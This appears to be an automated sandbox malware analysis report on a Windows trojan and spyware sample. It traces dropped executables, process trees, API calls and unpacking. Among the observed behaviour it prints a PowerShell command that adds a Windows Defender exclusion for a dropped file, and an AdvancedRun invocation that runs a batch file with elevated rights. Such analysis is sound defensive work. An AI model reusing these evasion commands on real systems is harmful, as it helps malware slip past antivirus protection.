Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D0B ZwSetInformationProcess,	29_2_6A9A1D0B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8D34
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959520 ZwWaitForSingleObject,	29_2_6A959520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFD22 ZwQueryInformationProcess,RtlUniform,	29_2_6A9CFD22
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	29_2_6A9E1D55
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D43 ZwQueryInformationThread,	29_2_6A9A1D43
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A940548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,	29_2_6A940548
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959D70 ZwAlpcQueryInformation,	29_2_6A959D70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	29_2_6A9A1570
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D6A ZwWaitForMultipleObjects,	29_2_6A9A1D6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D6D61 ZwAllocateVirtualMemoryEx,	29_2_6A9D6D61
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401915 Sleep,NtTerminateProcess,	33_2_00401915
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402040 NtQuerySystemInformation,	33_2_00402040
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402242 NtQuerySystemInformation,	33_2_00402242
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402313 NtOpenKey,	33_2_00402313
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401921 Sleep,NtTerminateProcess,	33_2_00401921
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401931 Sleep,NtTerminateProcess,	33_2_00401931
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402535 NtEnumerateKey,	33_2_00402535
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401938 Sleep,NtTerminateProcess,	33_2_00401938
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401FD8 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,	33_2_00401FD8
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401FFE NtQuerySystemInformation,LocalAlloc,	33_2_00401FFE
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402190 NtQuerySystemInformation,	33_2_00402190
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401493 NtAllocateVirtualMemory,	33_2_00401493
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_0040199B Sleep,NtTerminateProcess,	33_2_0040199B
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004021B5 NtQuerySystemInformation,	33_2_004021B5

Source: 32BC.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 7428.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 192F.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 6DDE.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 8E8B.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 5D4.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 86B8.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 75B0.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 89D7.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: sfiueca.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: SkB6zJ6H3N.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\cviueca

Jump to behavior

Source: 1105.tmp.29.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/37@64/12

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

32_2_00401306

Source: SkB6zJ6H3N.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

32_2_0040A33B

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5D4.exe C:\Users\user~1\AppData\Local\Temp\5D4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDD.exe C:\Users\user~1\AppData\Local\Temp\EDD.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\192F.exe C:\Users\user~1\AppData\Local\Temp\192F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\319A.exe C:\Users\user~1\AppData\Local\Temp\319A.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\69B5.exe C:\Users\user~1\AppData\Local\Temp\69B5.exe
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\32BC.exe C:\Users\user~1\AppData\Local\Temp\32BC.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5D4.exe C:\Users\user~1\AppData\Local\Temp\5D4.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDD.exe C:\Users\user~1\AppData\Local\Temp\EDD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\192F.exe C:\Users\user~1\AppData\Local\Temp\192F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\319A.exe C:\Users\user~1\AppData\Local\Temp\319A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\69B5.exe C:\Users\user~1\AppData\Local\Temp\69B5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		32_2_00408FC9
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 35_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		35_2_00408FC9

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\97A5.tmp

Jump to behavior

Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: sqlite3.dll.36.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.36.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.36.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

32_2_004095FD

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4752:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Command line argument: fam		33_2_0043C2B0
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Command line argument: \H		33_2_0043C2B0

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\192F.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SkB6zJ6H3N.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SkB6zJ6H3N.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: 192F.exe, 0000001D.00000000.392199023.0000000000417000.00000002.00020000.sdmp, sfiueca.7.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: 69B5.exe, 69B5.exe.7.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: 8E8B.exe.7.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000020.00000000.407285900.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: 8E8B.exe.7.dr
Source:	Binary string: C:\moliyuwod_vofadarecayu\dezuvacux.pdb source: SkB6zJ6H3N.exe
Source:	Binary string: cC:\moliyuwod_vofadarecayu\dezuvacux.pdb` source: SkB6zJ6H3N.exe
Source:	Binary string: C:\lewusukoviv.pdb source: 7428.exe.7.dr
Source:	Binary string: wntdll.pdbUGP source: 192F.exe, 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: 192F.exe, 1105.tmp.29.dr
Source:	Binary string: XC:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb` source: 32BC.exe.7.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: 69B5.exe, 00000021.00000000.408654637.0000000000401000.00000020.00020000.sdmp, 69B5.exe.7.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: 7428.exe.7.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: 75B0.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: 6DDE.exe.7.dr
Source:	Binary string: C:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb source: 32BC.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: 6DDE.exe.7.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	Unpacked PE file: 29.2.192F.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Unpacked PE file: 33.2.69B5.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

.NET source code contains potential unpacker

Show sources

Source: 86B8.exe.7.dr, SimplePaint/FrmMain.cs

.Net Code: TypeNameBuilder System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_02E11D5B push ds; ret	0_2_02E11D68
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 19_2_02E80EE3 push ds; ret	19_2_02E80EF0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E54 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E63 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402665 push cs; ret	29_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040290C push eax; iretd	29_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E16 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DC0 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DD8 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DE8 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402DF1 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E82 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E85 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402D92 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E95 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401D9A pushad ; ret	29_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402E9C push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A96D0D1 push ecx; ret	29_2_6A96D0E4
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B550 push eax; ret	32_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B550 push eax; ret	32_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: 32_2_0040B50D push ecx; ret	32_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401A61 push ds; retf	33_2_00401A69
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401569 push edx; iretd	33_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401569 push edx; iretd	33_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402874 push esp; iretd	33_2_00402875
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401575 push edx; iretd	33_2_004015D2
